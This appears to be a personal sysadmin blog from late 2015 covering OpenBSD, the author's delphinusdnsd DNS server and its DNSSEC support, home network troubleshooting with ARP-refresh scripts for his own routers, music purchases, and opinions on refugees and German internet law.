/home/pjp/.ssh/config.template > /home/pjp/.ssh/config

exit 0
An Identityfile entry in my config file points to the right id_rsa file. Which btw is passphrased, thank god! It would be folly I believe to have no passphrase on my ssh keys. Don't be lazy!

I shuffle every 5 minutes per crontab.



Still in a Consumer Rush

August 16th, 2015

I'm still in a consumer rush. I hope it quells soon. I just purchased another quad gigabit ethernet card for my soekris router. This brings the gigabit ports on the soekris to twelve. I'm also very interested in the raspberry pi for some reason again. Not so much the rpi that I have but the rpi 2 which has double the RAM and 4 cores. If I were to put together the soekris and 10 RPI boards I'd have a small supercomputer. I'm currently testing the possibility of this. I'm brainstorming uses too.



And still in the Rush...

August 17th, 2015

I couldn't resist looking at raspberry pi stuff and came across a battery pack unit. I thought this was good for a portable CryptoPi made the same way as a CryptoBook, only cheaper. If it works out I'll be able to exchange it with my Uncle who by now is in possession of the silver cryptobook.



OpenBSD 5.8 Pre-orders are on

August 19th, 2015

I have preordered my copy of OpenBSD 5.8 which will be released on October 18 which deraadt says is the anniversary of a Makefile he first committed in the OpenBSD tree. It's the OS's 20th anniversary. If you're interested in obtaining OpenBSD on CDROM go to https://openbsdstore.com and look for OpenBSD version 5.8. Be sure to click on the EU symbol if you want to pay in euros. With my preorder I also ordered a poster this time. It should look good in my apartment.



Maxed my Soekris 6501

August 21st, 2015

I have maxed the soekris net 6501 I have with 12 interfaces. 5 are used and 5 are possibly going to be used in the near future.

It took 3 years or so to assemble all this, finally it's completed. The latch to make sure the cards don't move did not fit in and I couldn't screw it on, too bad.. a slight misdesign by soekris. One just has to be careful with this one when transporting it.



Changes at work

August 22nd, 2015

The company I work for has been sold. Or better yet it has been aquired by another company. I worked there for 6 hours a day since 2012 and in total 5 years. Finally I told on my resume where I work. We were a very small company so I always felt it was better to keep secret where I work. Now it's in the open.

The company that aquired us want to retain everyone on staff. I've been offered an "after hours support" position at the NOC at that company. They promise more money, which is nice but I'm gonna have to work extra hard to establish a trusting relationship. It scares me somewhat because trust establishment is not like respect. Respect you can earn, but trust is a two way street, and it's subtle.

Since I am a remote worker everything hits me especially hard, since I'm not in the office. It's a stressful time for me and I hope I'll be able to get over it soon. Right now at work we're in a transition, from our system to the other system. The company that aquired my work sits in the USA, this is almost a repeat of what I saw in 1999 when another US company took over the Canadian ISP I worked for. Americans have a liking on buying Canadian companies. :-)

Back in 1999 I quit the company, but I watched the other people who didn't and they had a fairly solid job for a few years at least. Instead of panic'ing I'm gonna take it in stride this time, perhaps something positive will evolve out of this. Whether it's gonna work is written in the star perhaps. But I'm gonna have to say goodbye to the canadian systems we've built and nurtured. I won't be that "canadian ghost" that works in the real early hours of the morning. Now I'm in new territory, it's a little scary, as it's unfamiliar to me.

I'm always glad I have a blog to get things off my chest. To whomever reads this.



Bought a Reggae Album

August 24th, 2015

This time it's Konshens - Mental Maintenance. The first few songs sounded great!



Ordered two books from Amazon

August 25th, 2015

I have ordered:

  • The definitive guide to HTML5 Websocket - Vanessa Wang
  • HTML5 und CSS3: Das umfassende Handbuch - Jürgen Wolf
I plan on using these books to make a remote serial console for a bhyve guest. Dunno if it'll work or not.



Omega: a new VPS

August 26th, 2015

I got a new VPS based in Frankfurt, Germany. It's called omega.virgostar.net. I'm going to be using this one for a testbed with DNSSEC. With that I'm going to have to split my domains a little bit. io.solarscale.de and supercluster.virgostar.net will become a pair for serving my current domains. Then I'm going to take my test domain (swshell.de) and transfer it to a new pair consisting of omega.virgostar.net and americas.centroid.eu. In this constellation I'm going to test DNSSEC, until either the test is done or americas.centroid.eu expires. I'm not going to renew it, meaning in may 2016 I'll have three VPS again instead of four. This is positive as four VPS's is starting to become a bit much to manage.



Resisting Refugees is Shameful

August 27th, 2015

If you are against the refugee situation in Germany and greater Europe look into your heart. There is people fleeing a civil war and poverty, disease and of course violence of the highest degree. I'm for taking in refugees and I support it with money as well (200 euros went to the Red Cross this year for support of refugees). I don't believe anti-refugee violence should be tolerated here. And I just can't believe that there is people so ignorant of the refugees who are in dire need of help. They say haters are gonna hate, but it's a shame that haters become physical threats. Shame on those hateful people who stand in refugees way. That's all I wanted to say.



Cancelling io.solarscale.de, eventually

August 29th, 2015

io.solarscale.de wasn't meant to be around forever. I've had it a number of years now at hetzner online. So hetzner came out with a new line of VPS's. A certain config of it I don't like at all, so when I tried getting a new VPS with them I got stuck with that, I cancelled it right away. No way! So I'm in the process of migrating everything to omega.virgostar.net and supercluster.virgostar.net (the former for mail, the latter for web). I just set up the IPSEC tunnel between those two hosts, it's looking promising.



Changed DNS setup

August 31st, 2015

I have partitioned my zones between four nameservers (two sets). swshell.de is a testdomain and is served by io.solarscale.de and americas.centroid.eu. I will test dnssec on these eventually. The rest of my domains are served by omega.virgostar.net and supercluster.virgostar.net. This is a thinning out and I hope I don't experience a double failure on either set but then nothing would work anyhow anymore.



The last homely house on Earth

September 5th, 2015

Or... next stop, the Moon. This photo is my favourite photo of 2015.

I prefer it cold in photos as you could probably tell if you saw my self portraits on this website. No, I'm not in this photo.



Delphinusdnsd now answers to version queries

September 5th, 2015

On my test server it replies for version queries now:

alpha$ dig @io.solarscale.de version.bind ch txt +short
"http://delphinusdns.centroid.eu"
alpha$ dig @io.solarscale.de version.bind ch txt +short +tcp
"http://delphinusdns.centroid.eu"
I did this partially because I needed something easy to do. Where I left off in June/early July was boring and complex work. I am trying to get back into the swing of things now. There is lots to do still before the 1.0.0 release. If I don't make it by November 15th, it will be postponed until the new year in 2016 most likely.



Equinox in less than 2 Weeks

September 10th, 2015

On September 23 at 8:20 GMT is equinox. After that point the nights will become longer again and the days shorter. Yes, winter is inevitable. That day is also the start of Autumn (or Fall) and usually the leafs from the trees will turn in colours and eventually fall to the ground. Frost will return...then perhaps snow putting its blanket on the leafs that fell. Insects will rest, other wildlife will have a harder time getting food. This is the seasons of the northern hemisphere. I think it's great!



Purchased Reggae

September 10th, 2015

This time it's Exco Levi - Country Man. He's a migrant to Canada like me!



Ordered a book from Amazon

September 10th, 2015

I ordered the "Computer Security Handbook" by Seymour Bosworth et al. It cost a lot of money, but it's a thick book (2000+ pages). I was made aware of this book when I googled the domain of my place of work and it came up. Apparently a link in the book is to our servers, which interests me. Oh well here is hoping to it being good.



I'm not hiring

September 15th, 2015

People are sending me resumes of what I can tell from the envelope. I'm not opening resumes as I'm not hiring. I look at these as attempts of phishing. Thanks. Also I'd like to say that I'd love to be hiring, had I money. Sad truth is that I'm not rich.



Happy September Equinox!

September 23th, 2015

As I write this there is about 30 minutes until it's truely equinox. Happy Equinox! I turned the heat to 1 (out of a possible 3 settings) today as it was quite chilly overnight. This morning I looked up the temperature at 10 degrees Celsius. Since these are night heating units it'll take 1 or 2 days for them to reach their heating potential.



European Union where is your strength?

September 26th, 2015

The fact that all of Syria only represents ~4 percent of all EU citizens makes it a sad chapter in Europe as a whole that we can't "grow" 4%. And not only that there is talk of 800,000 refugees this year which is 0.16% of the European population. And even then if you were to take all 60 million refugees worldwide that's only 12% of the EU citizen base. I just can't believe that some Central European nations within the EU don't want to take their fair share of refugees. Where is our conscience?

Why are europeans so xenophobic when it comes to our neighbours? Let me spell it out for you 2000 years ago Syria was part of the Roman Byzantine Empire and is a mediterranean nation. This means it is on the same Mediterranean as Italy and Spain. Have you not realised by now that the ground you're on in Europe is not yours? You're only a steward of managing this ground as is everyone else, we all die, so then that stewardship is dissolved. The land belongs to noone the people and their visions are the stewards of the land, and a slight discrepancy in numbers (4%!) doesn't affect the main core! What's happening now is disgusting, greed, opportunism, xenophobia, and racism are the signs coming out of Europe.

We should be above all those things, our waters are clean to drink giving us health. The land is fruitful giving us food to eat. What can't we share that to people who have lost it all? And mind you the uprisings in the fringe nations of the EU are an indirect cause of our unity. We should feel compelled to help them not close them out.



Profit for the poor!

September 27th, 2015

I have saved a lump some of money over several years. It's more than a little and too little to gain any attention. However I want to invest it into a business of Internet nature. I would do work just before and during this endeavour to make it work. The big problem that I see is that I don't have enough capital to start to make it, and I want to do it on my own. I realise that "The Internet" the medium that promised freedoms to us is only a place where the rich can make a profit. And that's what's wrong with it. It is _the_ motor that makes the rich richer and the poor poorer because poor are just supposed to give money to the rich on the Internet and no opportunity for small business is granted. Correct me if I'm wrong.



Wrote a donation to OpenBSD

September 30th, 2015

Yes it's donation time again. I have written the transaction and will be bringing it to the bank friday the 9th of october or thereabouts. It's only 50 euros so nothing much to get excited about. But every tidbit helps. This brings the total donations this year to 200 euros, I think.



Pre-ordered Tears of Luv Album

October 1st, 2015

The artist: Anthony B The album: Tears of Luv The release date: October 16th



Happy Birthday M.

October 2nd, 2015

I know you probably won't read this but here is a try anyhow. May the walks of life guide you back to us.



For God's sake! Stoererhaftung is in the Way!

October 3rd, 2015

In Germany there is a law preventing people from opening their access point to anyone in the public. It's called the Stoererhaftung (in german) which translates to the two words "Stoer" which means disrupt and "haftung" which means accountability.

We have a situation now that is of national significance. We have a lot of refugees that are flooding first contact centers. The refugees are in dire need of Internet to keep touch with their families. After food, clothing, shelter and security Internet is the next needed thing for them.

The german government has denied Internet access to refugees for a period up to two years, which is the word from someone I got to know through a mailing list. She works with the refugees. People and groups are helping providing Internet by using the Freifunk infrastructure which bypasses the legal situation with the Stoererhaftung. It's not ideal because the resources of Freifunk groups is limited.

While Freifunk is happy now that we're seeing real user numbers on our stats, I worry about the long term effects half a year down the line. We need to offload. And the only correct way is to offload the Stoererhaftung. We fought the government on this before, and to put it bluntly the government is the reason that we're dumped on with refugees looking for Internet.

Getting rid of the Stoererhaftung would allow us to make operations cheaper as traffic would come from inside Germany, it would make everything sustainable. This is a classic case where a law designed by government is causing people in need to suffer.

I expect from the german government to immediately do everything in their powers to help the humanitarian crisis that our refugees are facing. Look no further but the Stoererhaftung it's a law that is disruptive in all respects.



Happy Birthday R.

October 3rd, 2015

And everyone who is born on this day, happy birthday!



Autumn Programmer

October 7th, 2015

I took this picture yesterday I thought I'd share it.

Today the leaves on the maple are even more brilliant and red. It's a nice sight. Soon they'll fall I'm sure.



OpenBSD 5.8 poster arrived

October 7th, 2015

This means the CD is on its way as well. I now have posters of a lot of researchers when you look at the OpenBSD poster and the poster beside it of the over-wintering expedition of Concordia station in Antarctica.

Yes my office is colourful, if you look close you'll see some fud on the planets poster above the monitor but I don't think you can see that in detail.



Status update on Delphinusdnsd

October 10th, 2015

This morning I finished 4 needed DNSSEC RR's for ANY replies. Since the code for ANY and AXFR is in parts the same this finished AXFR's as well. I'm now about a month away from release and I don't think I'll make it. I have a one week vacation before the month changes to november and I need to write the frontend ruby code to dns sign the delphinusdnsd zones. If I get finished it will be untested for release and if I test it it may take until new years to release. I'll keep hacking on it (I have monday off), and I'm refreshing myself with ruby right now on this weekend (got the ruby book beside me).



Yesterday OpenBSD 5.8 arrived

October 11th, 2015

I got the 3 magic discs of freedom! Thanks to all involved!



Upgraded supercluster

October 17th, 2015

Along with every other host on my network I have upgraded supercluster. If you see any breakage let me know. I'll fix it.



Luna-27

October 19th, 2015

I'm thrilled that Europe wants to put personell on the moon.



Oct 21, 2015 Cars that fly?

October 20th, 2015

Tomorrow is back to the future day. On this day in part 2 of the trilogy Marty McFly travels to Oct 21, 2015, in essence tomorrow. Cars that fly? More like cars that lie, if you look at the VW emissions scandal. We did not get the hologram projectors nor the hoverboards. But we had something in common, cars still exist in 2015.

Thanks to Chris who gave me a ride in his deLorean one day when I was in grade 10 or 11. That really rocked! Did we timetravel?



MPS open sourced

October 22th, 2015

Almost two years after I wrote this with help of Rienzilla I'm releasing it to the public. The sources are found here enjoy.



Open Sourced CodeBlue version 1

October 24th, 2015

After 14 years of having this program (mostly) for myself, I think it's worth it to Open Source it. Successes of Code Blue are

  • proving a bug in someones program
  • proving a bug in the OpenBSD kernel which caused a crash after a CBv1 typo
  • proving that ARP packets get lost on AVM routers (recently)
There was many other cases that I used codeblue for good. It's not an evil program. Sources are here . Codeblue was based on gppf in idea but not in code.



AVM FritzBox Router losing ARP packets

October 26th, 2015

After a 2 month long debug session with my gear I finally produced a workaround with codeblue to _fix_ the situation.

The problem: between my routers gamma and uranus (both OpenBSD) arp gets lost either on the FritzBox or a FritzRepeater from the same manufacturer (AVM).

The solution check if a threshold of arp cache timeout has been reached and populate the arpcache manually with an injected arp packet.

Here is the scripts I've written. On uranus:

#!/bin/sh

# this script checks if ARP was lost between gamma and uranus via AVM AP
# if so it will mail me and send a gratuitious arp to restore the arp cache
# on gamma it will do it twice to escape stupid filtering on AVM fritzbox.

sleep 10

CACHE=`ssh watcharp@192.168.179.1 /usr/sbin/arp -na |\
 awk '/192.168.179.10/ { a = split($4, b, "m"); print b[1];}'`

if [ $CACHE -lt 15 ]; then
        echo "cache is at $CACHE going to set arp manually" | \
        mail -s "arp timeout" emailat@centroid.eu

        /usr/local/bin/cb  -a is-at -s192.168.179.10 -d192.168.179.1
        
        sleep 20

        /usr/local/bin/cb  -a is-at -s192.168.179.10 -d192.168.179.1
        
fi

exit 0
And then on gamma:
#!/bin/sh

/usr/local/bin/cb -l re1 -a who-has -s00:0d:b9:XX:XX:XX,192.168.179.1 \
	-dff:ff:ff:ff:ff:ff,192.168.179.10  
With these scripts I am willing to bet my problems go away.



Outlook Delphinusdnsd 1.0.0 not before XMAS

October 27th, 2015

I'm getting stalled with development of delphinusdnsd and distracted. I should have been coding on this yesterday to make use of my full vacation for this but I decided to soak up lazyness instead. It's ok though, there is no way I can do this in two weeks, if I do then there would be little testing if any.



pledge(2) Don't do this!

October 31st, 2015

pledge(2) in OpenBSD is a whitelist of system calls that a programmer pledges / promises his program will conform to. If they lie the kernel will kill the program. If you look at this from an attacker perspective you'll have to restrict bytecode or whatever your edge is to the pledged spectrum of syscalls.

I'll give you another example. If you have an anti-virus mechanism that scans emails or programs it may not need to talk Internet protocols and thus if someone manages to buffer overflow the scan process and have it open a socket back to the attacker aka a bindshell, pledge will stop the socket call before the kernel opens it. It's ingenious and it gets better. As you know your program you can pledge several times to restrict more and more of it over the course of the program flow.

In private conversation I offered Theo de Raadt, the principal programmer around pledge, an awk program that rudamentally scans C sources to determine a base pledge in a program. What I got back was a response I didn't expect. So I'm giving out a warning to people to NOT DO AS I had done. I still think I'm not going to be the only one who writes such a program since my gift to deraadt was not done publically.

You see in computer science you study the code, then you UNDERSTAND the code and then you can add to it. What I did was pseudo-science, since I didn't need to understand the code. Understanding is a big problem with code in general as everyone has their own style within the allowed programming idioms of C. Not understanding code means you can't contribute to it. I personally did not understand BIND code so I decided to write my own nameserver, the result was something I understood because I wrote it without wasting my time going into libraries that criss-crossed all over the source tree. However my code grew past 10,000 lines and it's easy to lose track of some areas.

My memory is not the best I think it's short span so I try to work with tools that easen this. However let's get back to science. As shown by the commits of top the programmers who pledged it not only screwed up once but twice and failed to understand top. So now we're accusing each other of pseudo-science and not understanding the code right. Let's put that away, as it's counter-productive. However I'd like to warn people of suggesting to OpenBSD what I had done. So know your code, apply pledge and stay safe.

For me pledge doesn't work as shm*(4) routines don't have a pledge keyword, so I'll have to wait. Anyone else wanting to pledge a program linked against db4 will have to do the same.

And lastly I'll say I was a bit hurt by deraadt's words, but I'm not gonna repeat them in public. I'll still stay loyal to OpenBSD despite this.



Donated to OpenBSDFoundation

November 4th, 2015

I have given the OpenBSD foundation 41.81 EUR which was in my paypal account. I usually donate directly to deraadt but I wanted to rid the money I had in my paypal account so it goes to the foundation this time.



swshell.de is DNSSEC enabled now

November 8th, 2015

Since yesterday swshell.de is DNSSEC enabled. I finished the zone signing utility for delphinusdnsd which is called dd-convert.rb. That utility leans on BIND tools. One day perhaps I'll make my own. I have checked with the DNSSEC debugger and everything seems to be in the green, but I have to figure out what I did first to do so and play a little with tools. Also delphinusdnsd would need a good debugging now so that it gives quality answers.



Happy Anniversary Delphinusdnsd!

November 8th, 2015

Even though I checked in the sources on November 29th, 2005 I must have been writing on Delphinusdnsd before that, so November is anniversary month! Guess what this daemon of mine is 10 years old! It does DNSSEC now too! So in my experience it takes a part-timer 10 man-years to reach DNSSEC. And I had a lot of spare time when I wasn't programming on this server. I have recieved lots of support mainly out of eastern Europe for this server. I don't quite know why that is, but thanks to you for using my server, and for inquiring about it and a big thanks to those that sent patches. Thanks also goes to #unixhelp for hearing my worries, visions and dreams about this DNS server. Thanks for putting up with me! The first non-beta version of this server will likely be released around new years 2016. I'm just doing tests right now with swshell.de comparing it to BIND and keeping and eye out for faults. So what is next with this server? I plan on doing DANE support for it but then I think I'm gonna focus on bug fixing, dunno. There is always room for some newbie to come along to write on this. An easy task would be HINFO support. Cheers!



Delphinusdnsd does TLSA RR and thus DANE

November 10th, 2015

I hammered the support out this morning within 1.5 hours, probably a record for me. But I based it off SSHFP RR's support which has only 1 8 bit integer less in the answer, so it was fairly easy to convert.

I have asked Luke Antins if I can pay him a bit more for the TLSA support in his dns-zone ruby gem. If he is willing to do it, I'll be able to play with DANE as I haven't been able to sign the TLSA yet and thus that part is not tested yet.

These are interesting days for sure.



Purchased Reggae

November 13th, 2015

Yesterday I purchased the Faithful Riddim of various artists. I liked the "topic of the day" song by I Octane on youtube which made me get this. Also got "Trod on" by Devano single. Too bad Devano hasn't got an album on iTunes.



DNSSEC web validation tools

November 13th, 2015

Here is some validation tools that I have found:



Keeper of the Isis Light

November 18th, 2015

I read this book in grade nine. Also the sequel to it "the guardian of isis". These have nothing to do with ISIS that we hear about in the news today. These books were very well written IMO and were good science fiction. Something to dream about.



10 years Delphinusdnsd in 9 days

November 20th, 2015

It's here in 9 days. The anniversary when I can prove when I checked in the sources to the then-called wildcarddnsd. 10 years! And my server is like an arrogant little child still! Nothing like bind which is probably 17 years old now.



10 Years

November 29th, 2015

Today is the 10 year anniversary of delphinusdnsd. DNS to me has always been appealing, from vanity domain names on IRC to managing DNS as a hostmaster (system administrator). I wanted a deep understanding of DNS further than just being a hostmaster so I decided to keep working on this. At first it was just a stupid little turnkey program, but I got to like it so much that I continued to put my efforts into it. I'm doing DNSSEC with it now. That's a major feature. I plan to release the first major release in january 2016 which drifts off the new years date. Oh well, cheers!



23 days until the December Solstice

November 29th, 2015

It's 23 more days until we enter winter in the northern hemisphere. The southern hemisphere enters summer such it is properly called the "december" solstice and not winter solstice. There is probably other names but I'm going to stick to december solstice. Its date is december 22, 2015.



What happens when...

December 1st, 2015

I tried to make two zones on two DNSSEC enabled nameservers. One being io.solarscale.de which is delphinusdnsd and the other americas.centroid.eu, which is BIND. I was interested how the servers would behave with one signed zone and one unsigned zone. And the result was staggering. There was almost no difference between the BIND and the delphinusdnsd. Both however reply with the DO bit set on the unsigned zone, which is possibly wrong. The signed zone is swshell.de and the unsigned zone is black.solarscale.de. Well it was worth the experiment and my code was forgiving.



Anonymity

December 3rd, 2015

In this article from heise online (german), politicians cry out about anonymity. In this case they're right IMO. However I see the problem different. Right now the "end-user" is given a dynamic IP address which is to "guarantee" them their anonymity. Yet the provider knows who they are, and google as well as other large networks who can correlate big data or logins to match someone. Also an end-user today must use IMAP or POP3 or webmail to a server on the internet to fetch their mail. Pretend it were different. Pretend everyone was given a static IP. Everyone now theoretically knows who this person is. Google would not care because they already knew anyhow, but you may see its market share go down because they don't guard a secret anymore. Also people would be able to get their mail via SMTP instead of IMAP/POP3 meaning mail is not stored on a 3rd party server. This is positive. A person with a static IP can run any services they like and become a server in this sense. This means that someone can have friends using their computer too, but if any of those friends betray the trust and invite a police visit, the friendship may be endangered. Who has taken the blame for things their friends did? I for one did once. But that was the last time. If you're a known troll for something your friends did from your computer it'd be very hard to repair that reputation, but that's the idea behind fixing this anonymity. So let's all be open and have static IP's is my idea.



Trying to run letsencrypt beta

December 5th, 2015

Well I tried to get the free https certificate with letsencrypt tonight:

19      ./letsencrypt-auto certonly --manual --email letsencrypt99@centroid.eu \
--agree-tos -d centroid.eu
id.eu --agree-tos -d centroid.eu                                              <
Updating letsencrypt and virtual environment dependencies.......
Running with virtualenv: sudo /home/pjpxx/.local/share/letsencrypt/bin/letsencrypt\
 certonly --manual --email letsencrypt99@centroid.eu --agree-tos -d centroid.eu

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

Password:
Ugh no! I will not run this as root. This utility will need a fix for that before I run this again. Too bad!



Thinking of getting a third Internet Link

December 7th, 2015

I'm thinking of getting this cable Internet thing in the New Year. The german Telekom is slow in rolling out their VDSL in town so I'm thinking of going with RegioNet which is the citys own Internet company. Thinking of 50 Mbit/s.



Reggae

December 11th, 2015

I purchased the album "Legacy - an acoustic tribute to Peter Tosh", which is performed mostly by his son, Andrew, I suspect. Because I don't have many Wailers songs this will be a good addition to my music collection. Reggae music is wide-spread in spectrum but this goes to the root. Happy listening.



100 million X speedup from classical computer

December 11th, 2015

Google and NASA recently were in the news regarding their shared Quantum computer. They said that certain operations yielded a speedup of 100 million times what a classical computer can do. To put this into perspective. With 1 billion dollars you could buy 100 of these D-Wave computers which cost 10 million a pop. And those 100 would then have a distributed speedup of 10 billion times that of 1 classical computer. All that it leaves to question is .. what algorithms are capable of being run at that speed? If it's Shor's algorithm I think we can kiss our crypto safety goodbye. An SSH or TLS session would then be decipherable as it is an RSA Hybrid.

What was the "black-budget" of the USA again?



An ejection from Atacama?

December 13th, 2015

In this article phys.org reports that the country Chile is planning a hydro power plant in the Atacama desert. While this is applaudable there is European interests in the region that may conflict with this. Several ESOC telescopes are situated there and exploit the fact that the Atacama desert is nearly cloudless. Would water in that desert create cloud? Only time will tell. We may have to look for a new place for the southern observatories, or move it all to the moon. If that's even possible in the near future.



More sky photos coming up

December 15th, 2015

I was talking with my Dad who is getting a new camera. So I'll inherit his old one. It was the one that I took sky photos of Mars on February 7th, 2010 of (seen here). it's 6 years later and this camera is probably 2 generations old by now but I won't use it all the time, only sometimes. I'm especially interested in getting more of Delphinus constellation with it's stars Rotanev and Sualocin (both are backwards from Nicolaus Venator) who apparently had a liking for the constellation Delphinus as well. Oh well here's to hoping it works out.



Getting ready for delphinusdnsd release

December 19th, 2015

I'm now running some of the latest code in production for the next two weeks on my nameservers io.solarscale.de and omega.virgostar.net. If I'm satisfied I will release delphinusdnsd 1.0.0 by January 1st, 2016. It's been a long year and I was very very brave for attempting DNSSEC. There is room for improvement but a simple DNSSEC'ed zone can be served by delphinusdnsd. After that I'm probably gonna take a (small) break from DNS programming.



Happy Solstice

December 21st, 2015

Tomorrow is solstice in the very early morning hours, iirc. So when I wake up it'll be winter officially. Happy (december/northern) Solstice!



I joined Twitter

December 22nd, 2015

There is a lot of fake accounts out there pretending to be mine. But the official twitter account from me is now @delphinusdns_pt Peter J. Philipp. I'll be dropping news on delphinusdnsd here and do personal correspondence between old and new friends of mine.



Merry Christmas

December 23rd, 2015

I may not get the chance tomorrow to wish you a merry christmas so this is it. Merry Christmas!



2015 Year in Review

December 29th, 2015

December 23, 2015	Merry Christmas
December 22, 2015	I joined Twitter
December 21, 2015	Happy Solstice
December 19, 2015	Getting ready for delphinusdnsd release
December 15, 2015	More sky photos coming up
December 13, 2015	An ejection from Atacama?
December 11, 2015	100 million X speedup from classical computer
December 7, 2015	Thinking of getting a third Internet Link
December 5, 2015	Trying to run letsencrypt beta
December 3, 2015	Anonymity
December 1, 2015	What happens when...	
November 29, 2015	23 days until the December Solstice
November 29, 2015	10 Years
November 20, 2015	10 years Delphinusdnsd in 9 days
November 18, 2015	Keeper of the Isis Light
November 13, 2015	DNSSEC validation tools
November 10, 2015	Delphinusdnsd does TLSA RR and thus DANE
November 8, 2015	Happy Anniversary Delphinusdnsd!
November 8, 2015	swshell.de is DNSSEC enabled now
November 4, 2015	Donated to OpenBSDFoundation
October 31, 2015	pledge(2) Don't do this!
October 27, 2015	Outlook Delphinusdnsd 1.0.0 not before XMAS
October 26, 2015	AVM FritzBox Router losing ARP packets
October 24, 2015	Open Sourced CodeBlue version 1
October 22, 2015	MPS open sourced
October 20, 2015	Oct 21, 2015 Cars that fly?
October 19, 2015	Luna-27
October 17, 2015	Upgraded supercluster
October 11, 2015	Yesterday OpenBSD 5.8 arrived
October 10, 2015	Status update on Delphinusdnsd
October 7, 2015		OpenBSD 5.8 poster arrived
October 7, 2015		Autumn Programmer
October 3, 2015		Happy Birthday R.
October 3, 2015		For God's sake!  Stoererhaftung is in the Way!
October 2, 2015		Happy Birthday M.
September 30, 2015	Wrote a donation to OpenBSD
September 27, 2015	Profit for the poor!
September 26, 2015	European Union where is your strength?
September 23, 2015	Happy September Equinox!
September 15, 2015	I'm not hiring
September 10, 2015	Equinox in less than 2 Weeks
September 5, 2015 	Delphinusdnsd now answers to version queries
September 5, 2015	The last homely house on Earth
August 31, 2015		Changed DNS setup
August 29, 2015		Cancelling io.solarscale.de, eventually
August 27, 2015		Resisting Refugees is Shameful
August 26, 2015		Omega: a new VPS
August 22, 2015		Changes at work
August 21, 2015		Maxed my Soekris 6501
August 19, 2015		OpenBSD 5.8 Pre-orders are on
August 17, 2015		And still in the Rush
August 16, 2015		Still in a Consumer Rush
August 10, 2015		I started shuffling my $HOME/.ssh directory
August 9, 2015		Spampd and taking the -T out
August 9, 2015		Ordered a Book from Amazon
August 2, 2015		CryptoBooks virtualized
July 28, 2015		Delphinusdnsd status update
July 27, 2015		Opinion: Hacking Team are pigs
July 25, 2015		Two CryptoBooks side by side
July 24, 2015		New Network Plans
July 23, 2015		Macbook Pro and things
July 17, 2015		My CryptoBook
July 15, 2015		Donated $15 to FreeBSD Foundation
July 13, 2015		Purchased Netbook
July 10, 2015		Status update of Delphinusdnsd and DNSSEC
July 10, 2015		Hand-Down and a Story
July 9, 2015		Signatures of Time - Double Play
July 7, 2015		Freifunk was affected by an MTU issue
July 6, 2015		It definatly was hotter than 2003
July 4, 2015		Power outtage this morning
July 3, 2015		I have donated 20 euros to the Greece bailout fund
June 28, 2015		AKW Grafenrheinfeld has shut down over night
June 28, 2015		Status update on Delphinusdnsd and DNSSEC
June 25, 2015		RFC 4034 compliant AFAIK
June 25, 2015		Donated 50 euros to OpenBSD
June 24, 2015		Vacation cut short
June 23, 2015		Art display of my parents creations
June 22, 2015		Delphinusdns Project sponsors Luke Antins
June 22, 2015		Donated 150 euros to the Red Cross
June 21, 2015		Happy Solstice
June 20, 2015		The First Ever DNSSEC answer from Delphinusdnsd
June 18, 2015		Delphinusdnsd Hack days, entering production..
June 13, 2015		I'm on Vacation
June 6, 2015		Purchased two Books
June 5, 2015		Vacation in a week
May 22, 2015		Computers are better Rappers?  Perhaps...
May 21, 2015		Advocacy for OpenBSD
May 21, 2015		My udptunnel program is open source now
May 19, 2015		Holidays less than a month away
May 15, 2015		OpenBSD 5.7 arrived
May 15, 2015		Freifunk Tunnel Masters
May 13, 2015		Anexit
May 12, 2015		Donated 25 euros toward Nepal
May 12, 2015		Purchased DJ mixer
May 9, 2015		Where do you get your clothes?
May 8, 2015		Pension, TV and Books
May 2, 2015		OpenBSD CD's delayed, upgraded anyways
April 30, 2015		Httpd died overnight
April 29, 2015		Goodbye Avon!
April 28, 2015		OpenBSD getting hammerfs through GSOC?
April 24, 2015		Happy 25th anniversary Hubble!
April 24, 2015		And the Park seemed inviting
April 22, 2015		Donated 50 euros to OpenBSD
April 22, 2015		Bought two singles
April 22, 2015		Vernal Equinox and Jesus
April 21, 2015		Exploring Xephem
April 20, 2015		Backport of patch for OpenSMTPD 5.4.2p1
April 15, 2015		The contraction of my VPS network
April 15, 2015		Blog Outtage this Morning
April 13, 2015		One year of mercury (computer)
April 11, 2015		Sorry no Linkedin, yet
April 11, 2015		Mac OS X 10.10.3 killed my screensaver!
April 9, 2015		Wildcarddnsd 0.9.1
April 7, 2015		Greece's war reparation demand
April 4, 2015		Happy Easter
April 1, 2015		Astronomers detect a giant star in Constellation Pisces
March 31, 2015		ESA what are your plans?
March 30, 2015		R.I.P. Paul Schenkeveld
March 29, 2015		Please, not another LEO ISS!
March 28, 2015		The catch-22 of mental illness
March 21, 2015		My Eclipse photos were a FAIL
March 14, 2015		Happy Pi day
March 13, 2015		Pre-Ordered OpenBSD 5.7
March 12, 2015		Wrote two members of parliament
March 12, 2015		Equinox in 8 days
March 7, 2015		Crackers are getting more careful
March 5, 2015		Oldlaptop's github repo
March 5, 2015		OpenBSD's httpd with webalizer
March 5, 2015		Softraid Crypto seems secure
February 27, 2015	God Speed Spock!
February 26, 2015	OpenBSD donations reached 397,000 dollars in 2014
February 25, 2015	Got a washing machine
February 24, 2015	Nearing 20 years UNIX experience
February 23, 2015	Ordered three books
February 21, 2015	Scarcity vs. Abundance
February 16, 2015	Moved the blog
February 14, 2015	Upper Lower Class
February 13, 2015	I'm sick
February 6, 2015	Next Week marks Two Years in My Apartment
February 5, 2015	Thinking of voting Die Linke in 2017
February 5, 2015	The last frontier, under the ice
February 3, 2015	Why I think "The Time Machine" doesn't work in reality
February 2, 2015	I want a Greek bailout
January 28, 2015	The rich can't buy smarts, can they?
January 27, 2015	Electricity (day) consumption up (unfortunately)
January	26, 2015	Cryptowars: Organised Crime and Terrorists
January 24, 2015	Administrivia
January 24, 2015	Is it more than Space Junk?
January 19, 2015	This is how fair the world is
January 13, 2015	And our rights diminish
January 11, 2015	I am not your subordinate
January 9, 2015		Ordered 3 books
January 5, 2015		My 150 Euro Calculator
January 5, 2015		Donation time again
December 31, 2014	Happy New Year!
December 29, 2014	Added supercluster to nameservers
December 28, 2014	Winter Flowers
December 24, 2014	Merry Christmas / Frohe Weihnachten!
December 17, 2014	NASA wants to go to Venus
December 16, 2014	My thought about Pegida
December 16, 2014	A domain expired, amdeutschhof.de
December 15, 2014	December solstice in less than a week!
December 12, 2014	Comparison between Mordor and the US
December 9, 2014	Farewell American Forces
December 8, 2014	Speak German at home...
December 6, 2014	When Fighters scramble



Our XMAS Dinner

December 29th, 2015



More power from Arabia and Sahara?

December 31st, 2015

